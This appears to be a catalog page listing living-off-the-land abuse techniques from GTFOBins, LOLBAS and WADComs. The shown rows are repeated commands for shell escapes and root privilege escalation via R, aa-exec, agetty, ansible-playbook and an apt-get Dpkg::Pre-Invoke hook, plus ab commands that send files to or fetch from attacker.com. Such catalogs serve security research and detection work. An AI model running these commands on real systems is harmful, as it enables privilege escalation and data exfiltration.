01 · Catalog

Off-the-Land Almanac

Every abuse technique from GTFOBins, LOLBAS and WADComs — plus DÆMON's fact-checked modern additions — flattened to one filterable index. Filter by platform, capability and source; every row expands to the command, MITRE mapping, detection, and references.

2,885 techniques 842 tools 179 DÆMON GPL-3.0

2885 of 2885 techniques

7z a -ttar -an -so /path/to/input-file | 7z e -ttar -si -so

7z a -ttar -an -so /path/to/input-file | 7z e -ttar -si -so

R --no-save -e 'system("/bin/sh")'

R --no-save -e 'system("/bin/sh")'

R --no-save -e 'system("/bin/sh")'

aa-exec /bin/sh

aa-exec /bin/sh

aa-exec /bin/sh

ab -v2 http://attacker.com/path/to/input-file

ab -v2 http://attacker.com/path/to/input-file

ab -v2 http://attacker.com/path/to/input-file

ab -p /path/to/input-file http://attacker.com/

ab -p /path/to/input-file http://attacker.com/

ab -p /path/to/input-file http://attacker.com/

echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file

echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file

echo -e 'x:\n\t/bin/sh 1>&0 2>&0' >/path/to/temp-file
chmod +x /path/to/temp-file
acr -r ./relative/path/to/temp-file

agetty -l /bin/sh -o -p -a root tty

alpine -F /path/to/input-file

alpine -F /path/to/input-file

alpine -F /path/to/input-file

echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file
ansible-playbook /path/to/temp-file

echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >/path/to/temp-file
ansible-playbook /path/to/temp-file

ansible-test shell

ansible-test shell

aoss /bin/sh

aoss /bin/sh

apache2 -f /path/to/input-file

apache2 -f /path/to/input-file

apache2 -f /path/to/input-file

apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file'

apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file'

apache2 -C 'Define APACHE_RUN_DIR /' -C 'Include /path/to/input-file'

apache2ctl -c 'Include /path/to/input-file'

apache2ctl -c 'Include /path/to/input-file'

apport-cli -f
1
2
v

apt-get changelog apt

apt-get changelog apt

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' >/path/to/temp-file
apt-get -y install -c /path/to/temp-file sl